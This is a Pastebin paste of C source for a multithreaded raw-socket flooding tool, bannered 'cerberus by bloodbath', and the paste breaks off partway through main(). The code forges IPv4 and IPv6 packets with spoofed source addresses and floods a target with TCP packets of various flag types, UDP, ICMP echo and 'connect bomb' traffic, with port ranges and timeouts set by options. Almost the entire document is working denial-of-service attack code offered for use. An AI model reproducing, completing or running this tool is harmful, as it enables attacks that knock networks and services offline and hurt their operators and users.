Advertisement
wtfbbq

shit.c

Mar 15th, 2015
798
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 33.33 KB | None | 0 0
  1. #ifndef _BSD_SOURCE
  2. #define _BSD_SOURCE
  3. #endif
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8. #include <sys/types.h>
  9. #include <netinet/in_systm.h>
  10. #include <sys/socket.h>
  11. #include <string.h>
  12. #include <time.h>
  13. #include <signal.h>
  14. #ifndef __USE_BSD
  15. #define __USE_BSD
  16. #endif
  17. #ifndef __FAVOR_BSD
  18. #define __FAVOR_BSD
  19. #endif
  20. #include <netinet/in.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/ip6.h>
  23. #include <netinet/ip_icmp.h>
  24. #include <netinet/icmp6.h>
  25. #include <netinet/tcp.h>
  26. #include <netinet/udp.h>
  27. #include <arpa/inet.h>
  28. #include <pthread.h>
  29.  
  30. #define INET_ADDR 16
  31. #define INET6_ADDR 46
  32.  
  33. #define TCP_FIN 1
  34. #define TCP_SYN 2
  35. #define TCP_RST 4
  36. #define TCP_PSH 8
  37. #define TCP_ACK 16
  38. #define TCP_URG 32
  39. #define TCP_ECE 64
  40. #define TCP_CWR 128
  41. #define TCP_NOF 256
  42. #define TCP_FRG 512
  43.  
  44. #define TCP_BMB 1024
  45. #define UDP_BMB 2048
  46. #define RAW_BMB 4096
  47.  
  48. #define UDP_CFF 8192
  49. #define ICMP_ECHO_G 16384
  50.  
  51. #define ICMP_HDRLEN 8
  52. /* TH_NOF */
  53. #define TH_NOF 0x0
  54.  
  55. #ifdef LINUX
  56. #define FIX(x) htons(x)
  57. #else
  58. #define FIX(x) (x)
  59. #endif
  60.  
  61. void *send_tcp(void* arg);
  62. void *send_udp(void* arg);
  63. void *send_icmp(void* arg);
  64. void *send_bomb(void* arg);
  65. void handle_exit();
  66. unsigned short in_cksum(unsigned short *addr, int len);
  67. unsigned short xchecksum(unsigned short *buffer, int size);
  68. char *class2ip(const char *class);
  69. char *class2ip6(const char *class);
  70. void inject(struct ip *ip, u_char p, u_char len);
  71. void inject6(struct ip6_hdr *ip, u_char p, u_char len);
  72. u_long lookup(const char *host);
  73. int main(int argc, char *argv[]);
  74.  
  75. #define MAX_THREADS 32768
  76.  
  77. pthread_t attack_thread[MAX_THREADS];
  78.  
  79. struct thread_data {
  80. int initialized; // valid thread?
  81. int flag4, flag6; // v4 or v6
  82. int start;
  83. int packets;
  84. unsigned int timeout; // attack timeout
  85. int thread;
  86. unsigned int bombsize; // size of connect bomb
  87. unsigned int datasize; // size of tcp data after header
  88. unsigned int window_size; // window size
  89. int socket; // rawsock
  90. int a_flags; // a_flags
  91. struct sockaddr_in destination4;
  92. struct sockaddr_in6 destination6;
  93. u_long dstaddr;
  94. u_char th_flags;
  95. int d_lport;
  96. int d_hport;
  97. int s_lport;
  98. int s_hport;
  99. char *src_class;
  100. char *dst_class;
  101. char SrcIP4[INET_ADDR];
  102. char SrcIP6[INET6_ADDR];
  103. char DestIP4[INET_ADDR];
  104. char DestIP6[INET6_ADDR];
  105. };
  106. struct thread_data thread_data_array[MAX_THREADS];
  107.  
  108. void handle_exit () {
  109. int packets;
  110. packets = thread_data_array[1].packets + thread_data_array[2].packets + thread_data_array[4].packets +
  111. thread_data_array[8].packets + thread_data_array[16].packets
  112. + thread_data_array[32].packets + thread_data_array[64].packets + thread_data_array[128].packets +
  113. thread_data_array[256].packets
  114. + thread_data_array[512].packets + thread_data_array[1024].packets + thread_data_array[2048].packets +
  115. thread_data_array[4096].packets
  116. + thread_data_array[8192].packets + thread_data_array[16384].packets;
  117. printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, (int) time (NULL) -
  118. thread_data_array[0].start, packets / ((int) time (NULL) - thread_data_array[0].start));
  119. exit (0);
  120. }
  121.  
  122. struct pseudo_hdr {
  123. u_long saddr, daddr; /* source and dest address */
  124. u_char mbz, ptcl; /* zero and protocol */
  125. u_short tcpl; /* tcp length */
  126. };
  127. struct checksum {
  128. struct pseudo_hdr pseudo;
  129. struct tcphdr tcp;
  130. };
  131.  
  132. unsigned short
  133. in_cksum(unsigned short *addr, int len) {
  134. int nleft = len;
  135. int sum = 0;
  136. unsigned short *w = addr;
  137. unsigned short answer = 0;
  138. while (nleft > 1) {
  139. sum += *w++;
  140. nleft -= 2;
  141. }
  142. if (nleft == 1) {
  143. *(unsigned char *) (&answer) = *(unsigned char *)w;
  144. sum += answer;
  145. }
  146. sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  147. sum += (sum >> 16); /* add carry */
  148. answer = ~sum; /* truncate to 16 bits */
  149. return answer;
  150. }
  151.  
  152. unsigned short
  153. xchecksum(unsigned short *buffer, int size) {
  154. unsigned int sum = 0;
  155. __asm__ __volatile__(
  156. "movl (%1), %0\n"
  157. "subl $4, %2\n"
  158. "jbe 2f\n"
  159. "addl 4(%1), %0\n"
  160. "adcl 8(%1), %0\n"
  161. "adcl 12(%1), %0\n"
  162. "1:\n"
  163. "adcl 16(%1), %0\n"
  164. "lea 4(%1), %1\n"
  165. "decl %2\n"
  166. "jne 1b\n"
  167. "adcl $0, %0\n"
  168. "movl %0, %2\n"
  169. "shrl $16, %0\n"
  170. "addw %w2, %w0\n"
  171. "adcl $0, %0\n"
  172. "notl %0\n"
  173. "2:\n"
  174. : "=r" (sum), "=r" (buffer), "=r" (size)
  175. : "1" (buffer), "2" (size)
  176. );
  177. return(sum);
  178. }
  179. char *src_class, *dst_class = NULL;
  180.  
  181. char *class2ip(const char *class) {
  182. static char ip[INET_ADDR];
  183. int i, j;
  184. for (i = 0, j = 0; class[i] != '\0'; ++i)
  185. if (class[i] == '.')
  186. ++j;
  187. switch (j) {
  188. case 0:
  189. sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
  190. break;
  191. case 1:
  192. sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
  193. break;
  194. case 2:
  195. sprintf(ip, "%s.%d", class, (int) random() % 255+1);
  196. break;
  197. default: strncpy(ip, class, INET_ADDR);
  198. break;
  199. }
  200. return ip;
  201. }
  202.  
  203. char *class2ip6(const char *class) {
  204. static char ip[INET6_ADDR];
  205. uint16_t n;
  206. int x, y;
  207. for (x = 0, y = 0; class[x] != '\0'; ++x)
  208. if (class[x] == ':')
  209. ++y;
  210. int i;
  211. for (i = 0; i < 7; i++) {
  212. char hex[3][i];
  213. n = mrand48(); // #1
  214. n = rand(); // #2
  215. FILE * f = fopen("/dev/urandom", "rb");
  216. fread(&n, sizeof(uint16_t), 1, f); // #3
  217. sprintf(hex[i], "%04X", n);
  218. if(i==0)
  219. strcpy(ip, class);
  220. strcat(ip, hex[i]);
  221. if(i<6)
  222. strcat(ip, ":");
  223. }
  224. return ip;
  225. }
  226.  
  227. void
  228. inject(struct ip *ip, u_char p, u_char len) {
  229. ip->ip_hl = 5;
  230. ip->ip_v = 4;
  231. ip->ip_p = p;
  232.  
  233. ip->ip_tos = 0x08; /* 0x08 */
  234. ip->ip_id = random();
  235. ip->ip_len = len;
  236. ip->ip_off = 0;
  237. ip->ip_ttl = 255;
  238. ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ? inet_addr(class2ip(thread_data_array[0].dst_class))
  239. : thread_data_array[0].dstaddr;
  240. ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ? inet_addr(class2ip(thread_data_array[0].src_class))
  241. : random();
  242. thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
  243. }
  244.  
  245. void
  246. inject6(struct ip6_hdr *ip, u_char p, u_char len) {
  247. ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
  248. ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
  249. ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
  250. ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
  251. inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
  252. inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
  253. thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
  254. }
  255.  
  256. u_long lookup(const char *host) {
  257. struct hostent *hp;
  258. if ( (hp = gethostbyname(host)) == NULL) {
  259. perror("gethostbyname");
  260. exit(-1);
  261. }
  262. return *(u_long *)hp->h_addr;
  263. }
  264.  
  265. void *send_tcp(void* arg) {
  266. struct thread_data *param2 = arg;
  267. struct checksum checksum;
  268. struct packet {
  269. struct ip ip;
  270. struct tcphdr tcp;
  271. char buf[param2->datasize];
  272. } packet;
  273. struct packet6 {
  274. struct ip6_hdr ip;
  275. struct tcphdr tcp;
  276. char buf[param2->datasize];
  277. } packet6;
  278. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  279. //int i;
  280. //for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  281. //{
  282. // packet.buf[i] = '\x00';
  283. //}
  284. signal(SIGALRM, handle_exit);
  285. alarm(thread_data_array[0].timeout);
  286. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  287. do {
  288. /* Filling IP header */
  289. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  290. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof(packet)));
  291. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  292. /* Filling cksum pseudo header */
  293. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  294. checksum.pseudo.mbz = 0;
  295. checksum.pseudo.ptcl = IPPROTO_TCP;
  296. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  297. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  298. /* Filling TCP header */
  299. packet.tcp.th_win = thread_data_array[0].window_size == 0 ? htons(rand()%(1-65535)+1) :
  300. htons(thread_data_array[0].window_size);
  301. packet.tcp.th_seq = random();
  302. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  303. packet.tcp.th_ack = random();
  304. else
  305. packet.tcp.th_ack = 0;
  306. if(param2->a_flags == TCP_FRG) {
  307. packet.tcp.th_flags = (rand()%(TH_ACK-TH_FIN))+TH_FIN;
  308. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  309. } else {
  310. packet.tcp.th_flags = param2->th_flags;
  311. packet.tcp.th_off = 5;
  312. }
  313. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  314. packet.tcp.th_urp = htons(sizeof(packet));
  315. else
  316. packet.tcp.th_urp = 0;
  317. packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  318. random () :
  319. htons(thread_data_array[0].s_lport + (random() %
  320. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  321. 1)));
  322. packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  323. random () :
  324. htons(thread_data_array[0].d_lport + (random() %
  325. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  326. 1)));
  327. checksum.tcp = packet.tcp;
  328. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  329. param2->packets++;
  330. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr *)&thread_data_array[0].destination4,
  331. sizeof(thread_data_array[0].destination4)) );
  332. }
  333. if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  334. do {
  335. /* Filling IP header */
  336. memset(&packet6, 0x0, sizeof(packet.ip)+sizeof(packet.tcp)+param2->datasize);
  337. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  338. /* Filling cksum pseudo header */
  339. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  340. checksum.pseudo.mbz = 0;
  341. checksum.pseudo.ptcl = IPPROTO_TCP;
  342. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  343. /* Filling TCP header */
  344. packet6.tcp.th_win = htons(65535);
  345. packet6.tcp.th_seq = random();
  346. if (param2->th_flags == TH_ACK || param2->a_flags == TCP_FRG)
  347. packet.tcp.th_ack = random();
  348. else
  349. packet.tcp.th_ack = 0;
  350. if(param2->a_flags == TCP_FRG) {
  351. packet.tcp.th_flags = (rand()%(TH_ACK-TH_FIN))+TH_FIN;
  352. packet.tcp.th_off = sizeof(packet.tcp) / 4;
  353. } else {
  354. packet.tcp.th_flags = param2->th_flags;
  355. packet.tcp.th_off = 5;
  356. }
  357. if (param2->th_flags == TH_URG || param2->a_flags == TCP_FRG)
  358. packet.tcp.th_urp = htons(sizeof(packet));
  359. else
  360. packet.tcp.th_urp = 0;
  361. packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
  362. random () :
  363. htons(thread_data_array[0].s_lport + (random() %
  364. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  365. 1)));
  366. packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
  367. random () :
  368. htons(thread_data_array[0].d_lport + (random() %
  369. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  370. 1)));
  371. checksum.tcp = packet.tcp;
  372. packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  373. param2->packets++;
  374. } while (sendto(param2->socket, &packet6.tcp, (sizeof packet6), 0, (struct sockaddr
  375. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  376. }
  377. return 0;
  378. }
  379.  
  380. void *send_udp(void* arg) {
  381. struct thread_data *param2 = arg;
  382. struct packet {
  383. struct ip ip;
  384. struct udphdr udp;
  385. char buf[param2->datasize];
  386. } packet;
  387. struct packet6 {
  388. struct ip6_hdr ip;
  389. struct udphdr udp;
  390. char buf[param2->datasize];
  391. } packet6;
  392. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  393. //int i;
  394. //for (i = sizeof(packet) + 1; i < (param2->datasize); i++)
  395. //{
  396. //packet.buf[i] = '\x00';
  397. //}
  398. signal(SIGALRM, handle_exit);
  399. alarm(thread_data_array[0].timeout);
  400. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  401. do {
  402. /* Filling IP header */
  403. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.udp));
  404. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  405. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  406. /* Filling UDP header */
  407. packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  408. random () :
  409. htons(thread_data_array[0].s_lport + (random() %
  410. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  411. 1)));
  412. packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  413. random () :
  414. htons(thread_data_array[0].d_lport + (random() %
  415. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  416. 1)));
  417. packet.udp.uh_ulen = htons(sizeof packet.udp);
  418. packet.udp.uh_sum = 0;
  419. packet.udp.uh_sum = xchecksum((void *)&packet, sizeof(packet));
  420. param2->packets++;
  421. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr
  422. *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  423. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  424. do {
  425. /* Filling IP header */
  426. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.udp));
  427. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  428. /* Filling UDP header */
  429. packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
  430. random () :
  431. htons(thread_data_array[0].s_lport + (random() %
  432. (thread_data_array[0].s_hport - thread_data_array[0].s_lport +
  433. 1)));
  434. packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
  435. random () :
  436. htons(thread_data_array[0].d_lport + (random() %
  437. (thread_data_array[0].d_hport - thread_data_array[0].d_lport +
  438. 1)));
  439. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  440. packet6.udp.uh_sum = 0;
  441. packet6.udp.uh_sum = xchecksum((void *)&packet6, sizeof(packet6));
  442. param2->packets++;
  443. } while (sendto(param2->socket, &packet6, (sizeof packet6), 0, (struct sockaddr
  444. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  445. }
  446. return 0;
  447. }
  448.  
  449. void *send_icmp(void* arg) {
  450. struct thread_data *param2 = arg;
  451. struct packet {
  452. struct ip ip;
  453. struct icmp icmp;
  454. } packet;
  455. struct packet6 {
  456. struct ip6_hdr ip;
  457. struct icmp6_hdr icmp;
  458. } packet6;
  459. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  460. signal(SIGALRM, handle_exit);
  461. alarm(thread_data_array[0].timeout);
  462. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  463. do {
  464. /* Filling IP header */
  465. memset(&packet, 0x0, sizeof(packet.ip)+sizeof(packet.icmp));
  466. inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  467. packet.ip.ip_sum = xchecksum((void *)&packet.ip, sizeof(packet.ip));
  468. /* Filling ICMP header */
  469. packet.icmp.icmp_type = ICMP_ECHO;
  470. packet.icmp.icmp_code = 0;
  471. packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
  472. packet.icmp.icmp_id = random() % 255;
  473. packet.icmp.icmp_seq = random() % 255;
  474. param2->packets++;
  475. } while (sendto(param2->socket, &packet, (sizeof packet), 0, (struct sockaddr
  476. *)&thread_data_array[0].destination4,sizeof(thread_data_array[0].destination4)) );
  477. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  478. do {
  479. /* Filling IP header */
  480. memset(&packet6, 0x0, sizeof(packet6.ip)+sizeof(packet6.icmp));
  481. inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
  482. /* Filling ICMP header */
  483. packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
  484. packet6.icmp.icmp6_code = 0;
  485. packet6.icmp.icmp6_cksum = 0;
  486. packet6.icmp.icmp6_cksum = xchecksum((void *)&packet6, sizeof(packet6));
  487. packet6.icmp.icmp6_id = random();
  488. packet6.icmp.icmp6_seq = random();
  489. param2->packets++;
  490. } while (sendto(param2->socket, &packet6.icmp, (sizeof packet6), 0, (struct sockaddr
  491. *)&thread_data_array[0].destination6,sizeof(thread_data_array[0].destination6)) );
  492. }
  493. return 0;
  494. }
  495.  
  496. void *send_bomb(void* arg) {
  497. struct thread_data *param2 = arg;
  498.  
  499. struct checksum checksum;
  500. struct packet {
  501. struct ip ip;
  502. struct tcphdr tcp;
  503. struct udphdr udp;
  504. char buf[param2->bombsize];
  505. } packet;
  506. struct packet6 {
  507. struct ip6_hdr ip;
  508. struct tcphdr tcp;
  509. struct udphdr udp;
  510. char buf[param2->bombsize];
  511. } packet6;
  512. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  513. if(param2->a_flags == RAW_BMB)
  514. param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  515. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  516. if(param2->a_flags == RAW_BMB)
  517. param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW);
  518. }
  519. int i;
  520. for (i = sizeof(packet) + 1; i < (param2->bombsize); i++) {
  521. packet.buf[i] = '\x00';
  522. }
  523. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
  524. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
  525. else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
  526. connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
  527. printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
  528. signal(SIGALRM, handle_exit);
  529. alarm(thread_data_array[0].timeout);
  530. do {
  531. if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
  532. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  533. /* Filling IP header */
  534. memset(&packet, 0, sizeof packet);
  535. inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  536. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  537. /* Filling cksum pseudo header */
  538. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  539. checksum.pseudo.mbz = 0;
  540. if(param2->a_flags == TCP_BMB)
  541. checksum.pseudo.ptcl = IPPROTO_TCP;
  542. else if(param2->a_flags == RAW_BMB)
  543. checksum.pseudo.ptcl = IPPROTO_RAW;
  544. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  545. checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
  546. /* Filling TCP header */
  547. packet.tcp.th_win = htons(65535);
  548. packet.tcp.th_seq = random();
  549. packet.tcp.th_off = 5;
  550. //thread_data_array[0].destination4.sin_port = htons(113);
  551. checksum.tcp = packet.tcp;
  552. //packet.tcp.th_sum = xchecksum((void *)&checksum, sizeof(checksum));
  553. } else if(param2->a_flags == UDP_BMB) {
  554. /* Filling IP header */
  555. memset(&packet, 0, sizeof packet);
  556. inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  557. packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
  558. /* Filling UDP header -> it fills itself like icmp */
  559. packet.udp.uh_ulen = htons(sizeof packet.udp);
  560. packet.udp.uh_sum = 0;
  561. }
  562. } else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
  563. if(param2->a_flags == TCP_BMB || param2->a_flags == RAW_BMB) {
  564. /* Filling IP header */
  565. memset(&packet6, 0, sizeof packet6);
  566. inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
  567. /* Filling cksum pseudo header */
  568. checksum.pseudo.daddr = thread_data_array[0].dstaddr;
  569. checksum.pseudo.mbz = 0;
  570. if(param2->a_flags == TCP_BMB)
  571. checksum.pseudo.ptcl = IPPROTO_TCP;
  572. else if(param2->a_flags == RAW_BMB) checksum.pseudo.ptcl = IPPROTO_RAW;
  573. checksum.pseudo.tcpl = sizeof(struct tcphdr);
  574. /* Filling TCP header */
  575. packet6.tcp.th_win = htons(65535);
  576. packet6.tcp.th_seq = random();
  577. } else if(param2->a_flags == UDP_BMB) {
  578. /* Filling IP header */
  579. memset(&packet6, 0, sizeof packet6);
  580. inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
  581. /* Filling UDP header */
  582. packet6.udp.uh_ulen = htons(sizeof packet6.udp);
  583. packet6.udp.uh_sum = 0;
  584. }
  585. }
  586. param2->packets++;
  587. } while ( send(param2->socket, &packet, sizeof(packet), 0) );
  588. return 0;
  589. }
  590.  
  591. const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
  592.  
  593. static void
  594. usage(const char *argv0) {
  595. printf("%s \n", banner_name);
  596. printf(" -U UDP attack                     \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  597. printf(" -I ICMP attack                    \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  598. printf(" -T TCP  attack                 \e[1;37m(\e[0m0:FIN   1: SYN\e[1;37m)\e[0m\n");
  599. printf("                                \e[1;37m(\e[0m2:RST   3:PUSH\e[1;37m)\e[0m\n");
  600. printf("                                \e[1;37m(\e[0m4:ACK   5: URG\e[1;37m)\e[0m\n");
  601. printf("                                \e[1;37m(\e[0m6:ECE   7: CWR\e[1;37m)\e[0m\n");
  602. printf("                                \e[1;37m(\e[0m8:NOF   9:FRAG\e[1;37m)\e[0m\n");
  603. printf(" -B BMB attack [type,size]     \e[1;37m[\e[0m0:TCP 1:UDP 2:RAW\e[1;37m]\e[0m\n");
  604. printf(" -h destination ip                 \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  605. printf(" -d destination class              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  606. printf(" -s source class/ip                    \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  607. printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  608. printf(" -q source port range [start,end]      \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  609. printf(" -t timeout                        \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  610. printf(" -w window size [ 1-65535 ]            \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  611. printf("\e[1musage\e[0m: %s -4 -6 [-U -I -T -B -h -d -s -p -q -t]\n", argv0);
  612. exit(-1);
  613. }
  614.  
  615. int
  616. main(int argc, char *argv[]) {
  617. int i = 0, n;
  618. int on = 1;
  619. struct sockaddr_in DestAddress4;
  620. struct sockaddr_in6 DestAddress6;
  621. thread_data_array[0].a_flags = 0;
  622. thread_data_array[0].window_size = 0;
  623. for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
  624. thread_data_array[i].a_flags = 0;
  625. }
  626.  
  627. while ( (n = getopt(argc, argv, "46T:B:IUh:d:s:t:p:q:w:")) != -1) {
  628. char *p;
  629. unsigned int bombsize = 0;
  630. unsigned int datasize = 0;
  631. unsigned int window_size = 0;
  632. switch (n) {
  633. case '4':
  634. thread_data_array[0].flag4 = 1;
  635. break;
  636. case '6':
  637. thread_data_array[0].flag6 = 1;
  638. break;
  639. case 'T':
  640. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  641. datasize = 4;
  642. if(datasize == 0)
  643. datasize = atoi(p + 1);
  644. if(datasize > 4096)
  645. datasize = 4096;
  646. switch (atoi(optarg)) {
  647. case 0:
  648. thread_data_array[TCP_FIN].initialized = 1;
  649. thread_data_array[0].a_flags |= TCP_FIN;
  650. thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
  651. thread_data_array[TCP_FIN].datasize = datasize;
  652. break;
  653. case 1:
  654. thread_data_array[TCP_SYN].initialized = 1;
  655. thread_data_array[0].a_flags |= TCP_SYN;
  656. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  657. thread_data_array[TCP_SYN].datasize = datasize;
  658. break;
  659. case 2:
  660. thread_data_array[TCP_RST].initialized = 1;
  661. thread_data_array[0].a_flags |= TCP_RST;
  662. thread_data_array[TCP_RST].a_flags |= TCP_RST;
  663. thread_data_array[TCP_RST].datasize = datasize;
  664. break;
  665. case 3:
  666. thread_data_array[TCP_PSH].initialized = 1;
  667. thread_data_array[0].a_flags |= TCP_PSH;
  668. thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
  669. thread_data_array[TCP_PSH].datasize = datasize;
  670. break;
  671. case 4:
  672. thread_data_array[TCP_ACK].initialized = 1;
  673. thread_data_array[0].a_flags |= TCP_ACK;
  674. thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
  675. thread_data_array[TCP_ACK].datasize = datasize;
  676. break;
  677. case 5:
  678. thread_data_array[TCP_URG].initialized = 1;
  679. thread_data_array[0].a_flags |= TCP_URG;
  680. thread_data_array[TCP_URG].a_flags |= TCP_URG;
  681. thread_data_array[TCP_URG].datasize = datasize;
  682. break;
  683. case 6:
  684. thread_data_array[TCP_ECE].initialized = 1;
  685. thread_data_array[0].a_flags |= TCP_ECE;
  686. thread_data_array[TCP_ECE].a_flags |= TCP_ECE;
  687. thread_data_array[TCP_ECE].datasize = datasize;
  688. break;
  689. case 7:
  690. thread_data_array[TCP_CWR].initialized = 1;
  691. thread_data_array[0].a_flags |= TCP_CWR;
  692. thread_data_array[TCP_CWR].a_flags |= TCP_CWR;
  693. thread_data_array[TCP_CWR].datasize = datasize;
  694. break;
  695. case 8:
  696. thread_data_array[TCP_NOF].initialized = 1;
  697. thread_data_array[0].a_flags |= TCP_NOF;
  698. thread_data_array[TCP_NOF].a_flags |= TCP_NOF;
  699. thread_data_array[TCP_NOF].datasize = datasize;
  700. break;
  701. case 9:
  702. thread_data_array[TCP_FRG].initialized = 1;
  703. thread_data_array[0].a_flags |= TCP_FRG;
  704. thread_data_array[TCP_FRG].a_flags |= TCP_FRG;
  705. thread_data_array[TCP_FRG].datasize = datasize;
  706. break;
  707. case 10:
  708. thread_data_array[TCP_SYN].initialized = 1;
  709. thread_data_array[0].a_flags |= TCP_SYN;
  710. thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
  711. thread_data_array[TCP_SYN].datasize = datasize;
  712. break;
  713. }
  714. break;
  715. case 'B':
  716. if ( (p = (char *) strchr(optarg, ',')) == NULL)
  717. bombsize = 64;
  718. if(bombsize == 0)
  719. bombsize = atoi(p + 1);
  720. if(bombsize > 2048)
  721. bombsize = 2048;
  722. switch (atoi(optarg)) {
  723. case 0:
  724. thread_data_array[TCP_BMB].initialized = 1;
  725. thread_data_array[0].a_flags |= TCP_BMB;
  726. thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
  727. thread_data_array[TCP_BMB].bombsize = bombsize;
  728. break;
  729. case 1:
  730. thread_data_array[UDP_BMB].initialized = 1;
  731. thread_data_array[0].a_flags |= UDP_BMB;
  732. thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
  733. thread_data_array[UDP_BMB].bombsize = bombsize;
  734. break;
  735. case 2:
  736. thread_data_array[RAW_BMB].initialized = 1;
